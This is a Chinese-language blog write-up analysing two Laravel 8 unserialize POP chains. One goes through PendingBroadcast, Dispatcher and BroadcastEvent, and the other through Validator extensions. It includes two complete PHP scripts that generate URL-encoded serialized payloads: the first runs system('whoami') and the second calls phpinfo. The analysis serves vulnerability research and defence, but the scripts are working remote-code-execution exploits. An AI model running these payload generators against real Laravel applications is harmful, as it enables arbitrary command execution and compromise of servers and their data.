0%

Laravel8反序列化POP链分析

Laravel8反序列化POP链分析

POP链一

使用\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php__destruct方法。其中eventsevent都可控,那么咱们就可以指定一个存在dispatch方法的类来继续寻找能够RCE的方法,并且这个dispatch必须是可以传参的。

image-20210512152716814

全局搜索在\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php下就存在一个dispatch方法,是一个简单的三目运算。咱们先看如果前面运算为True情况下进入dispatchToQueue有没有RCE的可能。

image-20210512153224762

跟进dispatchToQueue方法可以看到该方法存在调用call_user_func的其中参数1就是dispatch方法下的$this->queueResolver,是可控的,参数2是传入$command变量的一个属性。因此可以知道$command数据类型必须为一个对象。

image-20210512153428951

分析完dispatchToQueue咱们回到dispatch方法。要想进入dispatchToQueue需要queueResolverTrue这个很简单,随便一个函数名就行了。我们只需要看$this->commandShouldBeQueued($command)能否返回为True,我们跟进这个方法。通过该方法注释就能快速看出该方法返回值就是一个Bool类型,怎样才能让其返回true呢?可以看到其对$command的类型进行了判断,只要是 ShouldQueue对象就返回True

image-20210512153958899

因此咱们再找一个 继承ShouldQueue的方法即可。

image-20210512225734552

那么这条链的思路就清晰了,因此构造如下POP链:

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
    protected $events;
    protected $event;
      public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}

namespace Illuminate\Broadcasting{

    class BroadcastEvent{
        public $connection;
        public function __construct($command){
            $this->connection = $command;
        }
    }
}
namespace Illuminate\Bus{
    class Dispatcher {
    protected $queueResolver;//该属性为call_user_fun的第一个参数
    public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace{
    $b = new Illuminate\Bus\Dispatcher("system");//存在dispatch方法
    $c = new Illuminate\Broadcasting\BroadcastEvent("whoami");
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
    echo urlencode(serialize($a));
}

?>

POP链二

除了寻找存在dispatch方法的还可以找到存在call的类例如laravel/vendor/laravel/framework/src/Illuminate/Validation/Validator.php就存在一个call,代码简单看一下他会对传入的$mothod我们用上一个链的入口那么$mothod的值将会固定为dispatch。而想进入第一个分支则需要在$extensions数组中存在下标为$rule的值,$rule的值是从$mothod的第八位开始取得正好为空,我们只需要定义$extensions[""=>'值']即可进入第一个分支。

image-20210514101236842

我们继续跟进 callExtension方法。可以看到这里使用了动态拼接函数,而这个回调函数($callback)正是$extensions中键名为空的值。参数就是$method所传入的值。

image-20210514101822090

据此可以构造如下POP链:

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
    protected $events;
    protected $event;
      public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}

namespace Illuminate\Validation{
    class Validator{
         public $extensions = [''=>'phpinfo'];
    }
}

namespace{
    $b = new Illuminate\Validation\Validator();
    $c = 1;
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
    echo urlencode(serialize($a));
}
?>